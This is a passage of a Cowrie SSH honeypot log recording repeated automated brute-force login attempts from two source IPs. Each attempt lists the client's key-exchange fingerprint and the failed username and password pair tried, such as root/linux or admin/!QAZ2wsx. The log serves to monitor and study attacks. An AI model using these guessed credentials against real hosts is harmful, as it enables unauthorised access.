-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:39.315284Z","src_ip":"192.109.200.78","session":"455d3c0a2cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852963","message":"login attempt [root/741852963] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:39.641094Z","src_ip":"192.109.200.78","session":"455d3c0a2cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:40.724709Z","src_ip":"192.109.200.78","session":"455d3c0a2cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38548,"dst_ip":"10.17.0.5","dst_port":22,"session":"3067aeb1d80b","protocol":"ssh","message":"New connection: 192.109.200.78:38548 (10.17.0.5:22) [session: 3067aeb1d80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:42.652085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:42.656631Z","src_ip":"192.109.200.78","session":"3067aeb1d80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:42.737522Z","src_ip":"192.109.200.78","session":"3067aeb1d80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"root","message":"login attempt [developer/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:42.983771Z","src_ip":"192.109.200.78","session":"3067aeb1d80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:44.067870Z","src_ip":"192.109.200.78","session":"3067aeb1d80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38564,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddf506fb3a82","protocol":"ssh","message":"New connection: 192.109.200.78:38564 (10.17.0.5:22) [session: ddf506fb3a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:45.890413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:45.894688Z","src_ip":"192.109.200.78","session":"ddf506fb3a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:45.975022Z","src_ip":"192.109.200.78","session":"ddf506fb3a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp123","message":"login attempt [ftp/ftp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:46.219067Z","src_ip":"192.109.200.78","session":"ddf506fb3a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:47.302913Z","src_ip":"192.109.200.78","session":"ddf506fb3a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":38568,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7d68f0c88b8","protocol":"ssh","message":"New connection: 192.109.200.78:38568 (10.17.0.5:22) [session: b7d68f0c88b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:49.354121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:49.359382Z","src_ip":"192.109.200.78","session":"b7d68f0c88b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:49.441042Z","src_ip":"192.109.200.78","session":"b7d68f0c88b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"!QAZ2wsx","message":"login attempt [admin/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:49.689740Z","src_ip":"192.109.200.78","session":"b7d68f0c88b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:50.773565Z","src_ip":"192.109.200.78","session":"b7d68f0c88b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50360,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04c11df15b6","protocol":"ssh","message":"New connection: 192.109.200.78:50360 (10.17.0.5:22) [session: b04c11df15b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:52.649130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:52.653143Z","src_ip":"192.109.200.78","session":"b04c11df15b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:52.734056Z","src_ip":"192.109.200.78","session":"b04c11df15b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"1q2w3e4r","message":"login attempt [gabriel/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:52.980650Z","src_ip":"192.109.200.78","session":"b04c11df15b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:54.064847Z","src_ip":"192.109.200.78","session":"b04c11df15b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50366,"dst_ip":"10.17.0.5","dst_port":22,"session":"93c4d7b659fd","protocol":"ssh","message":"New connection: 192.109.200.78:50366 (10.17.0.5:22) [session: 93c4d7b659fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:55.924876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:55.928462Z","src_ip":"192.109.200.78","session":"93c4d7b659fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:56.012218Z","src_ip":"192.109.200.78","session":"93c4d7b659fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gd","password":"gd","message":"login attempt [gd/gd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:56.261134Z","src_ip":"192.109.200.78","session":"93c4d7b659fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:57.344855Z","src_ip":"192.109.200.78","session":"93c4d7b659fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":50370,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab1db1a982c1","protocol":"ssh","message":"New connection: 192.109.200.78:50370 (10.17.0.5:22) [session: ab1db1a982c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:59.288707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:59.291864Z","src_ip":"192.109.200.78","session":"ab1db1a982c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:59.371584Z","src_ip":"192.109.200.78","session":"ab1db1a982c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kim","password":"kim123","message":"login attempt [kim/kim123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:32:59.615074Z","src_ip":"192.109.200.78","session":"ab1db1a982c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:00.699330Z","src_ip":"192.109.200.78","session":"ab1db1a982c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45064,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f662584ee70","protocol":"ssh","message":"New connection: 192.109.200.78:45064 (10.17.0.5:22) [session: 6f662584ee70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:02.542279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:02.546539Z","src_ip":"192.109.200.78","session":"6f662584ee70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:02.636228Z","src_ip":"192.109.200.78","session":"6f662584ee70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:02.889726Z","src_ip":"192.109.200.78","session":"6f662584ee70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":60720,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e9fd178c2f4","protocol":"ssh","message":"New connection: 94.159.110.201:60720 (10.17.0.5:22) [session: 5e9fd178c2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:02.928560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:02.935541Z","src_ip":"94.159.110.201","session":"5e9fd178c2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:03.054763Z","src_ip":"94.159.110.201","session":"5e9fd178c2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"06121988","message":"login attempt [root/06121988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:03.407194Z","src_ip":"94.159.110.201","session":"5e9fd178c2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:03.972926Z","src_ip":"192.109.200.78","session":"6f662584ee70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:04.526589Z","src_ip":"94.159.110.201","session":"5e9fd178c2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45076,"dst_ip":"10.17.0.5","dst_port":22,"session":"0797ee6554ae","protocol":"ssh","message":"New connection: 192.109.200.78:45076 (10.17.0.5:22) [session: 0797ee6554ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:05.841728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:33:05.845938Z","src_ip":"192.109.200.78","session":"0797ee6554ae","protocol":"ssh"}
